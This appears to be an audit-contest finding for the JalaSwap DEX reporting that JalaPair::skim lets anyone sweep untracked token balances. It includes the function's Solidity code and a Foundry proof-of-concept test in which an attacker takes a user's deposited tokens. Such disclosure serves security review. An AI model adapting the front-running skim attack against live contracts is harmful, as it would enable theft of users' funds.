Broken access control on JalaPair::skim allows attackers to transfers users tokens to himself

Summary

The JalaPair::skim function allows anyone to steal user's deposited tokens to JalaPair contract as it does not implement access control of who can call it.
This means that if a user "A" deposits some token0 or token1 tokens to JalaPair an attacker B could call skim() with his address as arg ie skim(attacker) to receive user's A deposited tokens.

Vulnerability Detail

The vulnerability exists in JalaPair::skim function because it doesnt restrict who can call skim after some liquidity is deposited, ie, it doesnt keep track of who deposited liquidity tokens.
Skim function directly sends the not tracked tokens (ie balance - reserve) to the to address:

    function skim(address to) external lock {
        address _token0 = token0; // gas savings
        address _token1 = token1; // gas savings
        _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)) - reserve0);
        _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)) - reserve1);
    }

So, an attacker could monitor tx pool to see when a user A sends token0 or token1 tokens to JalaPair.
Next attacker could call skim using his address as argument ie skim(attacker) to steal user's A token0 or token1 deposited tokens

Impact

The impact of this vulnerability includes:

Stealing deposited tokens of other users

Loss of confidence in JalaSwap contracts The following PoC shows an user A depositing LP tokens and attacker call it skim to obtain user token0 or token1
First import console library

import "forge-std/console.sol";

And include this test in test file JalaPair.t.sol:

function test_stealPairStealTokens() public {
    // make address for user and attacker
    address user = makeAddr("user");
    address attacker = makeAddr("attacker");
    token0.mint(1 ether, address(user));
    token1.mint(1 ether, address(user));

    // user sends token0 and token1 to JalaPair
    vm.startPrank(user);
    token0.transfer(address(pair), 1 ether);
    token1.transfer(address(pair), 1 ether);
    vm.stopPrank();

    // Attacker steals user's tokens using skim
    vm.startPrank(attacker);
    // Attacker balances before calling skim
    console.log("attacker before skim token0 balance ", token0.balanceOf(attacker));
    console.log("attacker before skim token1 balance ", token1.balanceOf(attacker));

    pair.skim(attacker);

    // Attacker balances after calling skim
    console.log("attacker after skim token0 balance ", token0.balanceOf(attacker));
    console.log("attacker after skim token1 balance ", token1.balanceOf(attacker));
    vm.stopPrank();
}

Code Snippet

https://github.com/sherlock-audit/2024-02-jala-swap/blob/main/jalaswap-dex-contract/contracts/JalaPair.sol#L262-L272

Tool used

Manual Review

Recommendation

To mitigate this vulnerability it is recommended to send the exceeding tokens to a controlled address, or burn it instead to avoid missapropiation of tokens

Duplicate of #95

sherlock-audit / 2024-02-jala-swap-judging

cryptonoob - Broken access control on JalaPair::skim allows attackers to transfers users tokens to himself #233